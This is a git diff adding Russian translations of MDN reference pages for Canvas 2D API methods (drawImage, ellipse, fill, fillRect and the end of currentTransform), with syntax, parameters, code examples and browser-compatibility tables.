+<p>Ниже представлен простой фрагмент кода, использующий свойство <code>currentTransform</code> для установки матрицы преобразований.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let matrix = ctx.currentTransform;
+matrix.a = 1;
+matrix.b = 1;
+matrix.c = 0;
+matrix.d = 1;
+matrix.e = 0;
+matrix.f = 0;
+ctx.currentTransform = matrix;
+ctx.fillRect(0, 0, 100, 100);</code></pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Manually_changing_the_matrix', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-currenttransform", "CanvasRenderingContext2D.currentTransform")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.currentTransform")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("SVGMatrix")}}</li>
+ <li>{{domxref("DOMMatrix")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
new file mode 100644
index 0000000000..881eb779d2
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
@@ -0,0 +1,328 @@
+---
+title: CanvasRenderingContext2D.drawImage()
+slug: Web/API/CanvasRenderingContext2D/drawImage
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Ссылка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/drawImage
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.drawImage()</code></strong> метод Canvas 2D API предоставляет разные способы рисования изображения на холсте.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.drawImage(image, dx, dy);</var>
+void <var><em>ctx</em>.drawImage(image, dx, dy, dWidth, dHeight);</var>
+void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight);</var>
+</pre>
+
+<p><img alt="drawImage" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right;"></p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>image</code></dt>
+ <dd>Элемент для отображения в контексте. Функция принимает любой источник изображения, пригодный для отображения на холсте ({{domxref("CanvasImageSource")}}), конкретнее, {{domxref("CSSImageValue")}},  {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} или {{domxref("OffscreenCanvas")}}.</dd>
+ <dt><code>dx</code></dt>
+ <dd>Координата по оси Х, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd>
+ <dt><code>dy</code></dt>
+ <dd>Координата по оси Y, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd>
+ <dt><code>dWidth</code></dt>
+ <dd>Ширина изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по ширине. Если опция не задана, изображение не будет масштабировано.</dd>
+ <dt><code>dHeight</code></dt>
+ <dd>Высота изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по высоте. Если опция не задана, изображение не будет масштабировано.</dd>
+ <dt><code>sx</code></dt>
+ <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd>
+ <dt><code>sy</code></dt>
+ <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd>
+ <dt><code>sWidth</code></dt>
+ <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd>
+ <dt><code>sHeight</code></dt>
+ <dd>Высота фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>INDEX_SIZE_ERR</code></dt>
+ <dd>Выбрасывается, если ширина или высота источника или приемника равна нулю.</dd>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>Источник не имеет данных изображения.</dd>
+ <dt><code>TYPE_MISMATCH_ERR</code></dt>
+ <dd>Тип данных источника не поддерживается.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_drawImage">Использование метода <code>drawImage</code></h3>
+
+<p>Вот простой пример использования <code>drawImage</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227"&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var image = document.getElementById('source');
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+</pre>
+
+<p>Отредактируйте код ниже и посмотрите, как ваши изменения отражаются на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+&lt;/div&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Понимание_размеров_изображения-источника">Понимание размеров изображения-источника</h3>
+
+<p>Метод <code>drawImage()</code> использует <em>внутренние размеры</em> элемента-источника, выраженные в CSS-пикселях (а не реальные размеры самой картинки).</p>
+
+<p>Например, если изображение было загружено с использованием необязательных параметров <code>width</code> и <code>height</code> в конструкторе {{domxref("HTMLImageElement")}}, вместо <code>element.width</code> и <code>element.height</code> вам следует использовать свойства <code>naturalWidth</code> и <code>naturalHeight</code> экземпляра картинки (или <code>videoWidth</code> и <code>videoHeight</code>, если источник {{htmlelement("video")}}), чтобы добиться правильного масштабирования и получения фрагментов картинки.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var image = new Image(60, 45);   // Размер изображения
+image.onload = drawImageActualSize; // Рисуем изображение, когда оно будет загружено
+
+// load an image of intrinsic size 300x227 in CSS pixels
+image.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+
+function drawImageActualSize() {
+  // use the intrinsic size of image in CSS pixels for the canvas element
+  canvas.width = this.naturalWidth;
+  canvas.height = this.naturalHeight;
+
+  // will draw the image as 300x227 ignoring the custom size of 60x45
+  // given in the constructor
+  ctx.drawImage(this, 0, 0);
+
+  // To use the custom size we'll have to specify the scale parameters
+  // using the element's width and height properties - lets draw one
+  // on top in the corner:
+  ctx.drawImage(this, 0, 0, this.width, this.height);
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Understanding_source_element_size', 700, 360)}}</p>
+
+<p> </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> как источник</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>SVGImageElement</code> как источник</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Сглаживание при сжатии</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(56)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> как источник</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>SVGImageElement</code> как источник</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Сглаживание при сжатии</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(56)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] См. {{bug(1360415)}}</p>
+
+<h2 id="Дополнительно_о_совместимости">Дополнительно о совместимости</h2>
+
+<ul>
+ <li>Поддержка переворачивания изображения с использованием отрицательных значений <code>sw</code> и <code>sh</code> была добавлена в Gecko 5.0 {{geckoRelease("5.0")}}.</li>
+ <li>Начиная с {{geckoRelease("5.0")}}, <code>drawImage()</code> поддерживает отрицательные значения аргументов. Таким образом, можно переворачивать изображение вокруг разных осей.</li>
+ <li>Начиная с {{geckoRelease("5.0")}}, передача <code>null</code> или <code>undefined</code> как источника для <code>drawImage()</code> корректно выбрасывает исключение <code>TYPE_MISMATCH_ERR</code>.</li>
+ <li>Вплоть до Gecko 7.0 {{ geckoRelease("7.0") }} Firefox выбрасывал исключение в случае, если какая-то из координат равнялась нулю или бесконечности. Согласно спецификации, этого больше не происходит.</li>
+ <li>Gecko 9.0 {{ geckoRelease("9.0") }} теперь корректно поддерживает CORS без необходимости <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">"порчи" холста</a>.</li>
+ <li>Gecko 11.0 {{ geckoRelease("11.0") }} теперь поддерживает SVG как источник для <code>drawImage()</code> без необходимости <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">"порчи" холста</a>.</li>
+</ul>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><code>drawImage()</code> корректно работает с {{domxref("HTMLVideoElement")}} только в том случае, когда {{domxref("HTMLMediaElement.readyState")}}<strong> больше единицы</strong> (т.е., событие <strong>seek</strong> корректно вызывается после установки свойства <code>currentTime</code>)</li>
+ <li><code>drawImage()</code> будет использовать внутренний размер элемента-источника, выраженный в CSS-пикселях, при рисовании, фрагментировании или масштабировании.</li>
+ <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для ее корректировки.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Родительский интерфейс метода {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
new file mode 100644
index 0000000000..17b037d4f0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
@@ -0,0 +1,139 @@
+---
+title: CanvasRenderingContext2D.ellipse()
+slug: Web/API/CanvasRenderingContext2D/ellipse
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Справка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/ellipse
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.ellipse()</code></strong> - метод Canvas 2D API, который добавляет эллиптическую дугу к текущему подпространству.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]);
+</pre>
+
+<p><code>ellipse()</code> - метод, который создает эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идет по направлению, казанному в параметре (по часовай срелке или против нее) <code>anticlockwise</code> .</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата центра эллипса по оси x (горизонтальная).</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата центра эллипса по оси y (вертикальная).</dd>
+ <dt><code>radiusX</code></dt>
+ <dd>Радиус оси x эллипса. Должен быть неотрицательным.</dd>
+ <dt><code>radiusY</code></dt>
+ <dd>Радиус оси y эллипса. Должен быть неотрицательным.</dd>
+ <dt><code>rotation</code></dt>
+ <dd>Вращение эллипса, выраженное в радианах.</dd>
+ <dt><code>startAngle</code></dt>
+ <dd>Угол, под которым начинается эллипс, измеряется по часовой стрелке от положительной оси x и выражается в радианах.</dd>
+ <dt><code>endAngle</code></dt>
+ <dd>Угол, под которым эллипс заканчивается, измеряется по часовой стрелке от положительной оси x и выражается в радианах.</dd>
+ <dt><code>anticlockwise</code> {{optional_inline}}</dt>
+ <dd>Опция {{jsxref("Boolean")}}, которая при <code>true</code>, рисует эллипс против часовой стрелки (counter-clockwise). Значение по умолчанию равно <code>false</code>  - рисование по часовой стрелке (clockwise).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Рисование_полного_эллипса">Рисование полного эллипса</h3>
+
+<p>Этот пример рисует эллипс под углом π / 4 Радианы (45°). Чтобы сделать полный эллипс, дуга начинается под углом 0 радианов (0°) и заканчивается под углом 2π радианов (360°).</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="200" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6] notranslate">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисование эллипса
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, Math.PI / 4, 0, 2 * Math.PI);
+ctx.stroke();
+
+// Рисование линии отражения эллипса
+ctx.beginPath();
+ctx.setLineDash([5, 5]);
+ctx.moveTo(0, 200);
+ctx.lineTo(200, 0);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Drawing_a_full_ellipse', 700, 250) }}</p>
+
+<h3 id="Различные_эллиптические_дуги">Различные эллиптические дуги</h3>
+
+<p>В этом примере создаются три эллиптических контура с различными свойствами.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6,11,16] notranslate">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'red';
+ctx.beginPath();
+ctx.ellipse(60, 75, 50, 30, Math.PI * .25, 0, Math.PI * 1.5);
+ctx.fill();
+
+ctx.fillStyle = 'blue';
+ctx.beginPath();
+ctx.ellipse(150, 75, 50, 30, Math.PI * .25, 0, Math.PI);
+ctx.fill();
+
+ctx.fillStyle = 'green';
+ctx.beginPath();
+ctx.ellipse(240, 75, 50, 30, Math.PI * .25, 0, Math.PI, true);
+ctx.fill();
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Various_elliptical_arcs', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.ellipse")}}</p>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод:{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>Используйте {{domxref("CanvasRenderingContext2D.arc()")}}, чтобы нарисовать дугу окружности</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
new file mode 100644
index 0000000000..25cc791848
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
@@ -0,0 +1,127 @@
+---
+title: CanvasRenderingContext2D.fill()
+slug: Web/API/CanvasRenderingContext2D/fill
+tags:
+  - API
+  - Canvas
+  - Method
+  - Reference
+  - Справка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/fill
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или четно-нечетное.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fill([fillRule]);</var>
+void <var><em>ctx</em>.fill(path[, fillRule]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>fillRule</code></dt>
+ <dd>Выбор алгоритма заливки фигуры<br>
+ Возможные значения:
+ <ul>
+  <li><code><strong>"nonzero</strong></code>": <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B5%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D0%BE%D0%B3%D0%BE_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0">Правило ненулевого индекса</a>, значение по умолчанию</li>
+  <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Четно-нечетное правило</a></li>
+ </ul>
+ </dd>
+ <dt><code>path</code></dt>
+ <dd>{{domxref("Path2D")}} путь для заливки.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Использование_метода_fill">Использование метода <code>fill</code></h3>
+
+<p>Это всего лишь простой фрагмент кода, который использует метод <code>fill</code> для заполнения пути.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс определяющий этот метод, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html
new file mode 100644
index 0000000000..54a27df26c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html
@@ -0,0 +1,175 @@
+---
+title: CanvasRenderingContext2D.fillRect()
+slug: Web/API/CanvasRenderingContext2D/fillRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/fillRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillRect()</code></strong>, предоставляемый Canvas 2D API, рисует залитый прямоугольник в позиции <em>(x, y),</em> размер которого определяется аргументами <em>width</em> и <em>height</em>, и стиль которого определяется атрибутом {{domxref("CanvasRenderingContext2D.fillStyle", "<code>fillStyle</code>")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fillRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_fillRect">Использование метода <code>fillRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>fillRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+// залить canvas целиком
+// ctx.fillRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
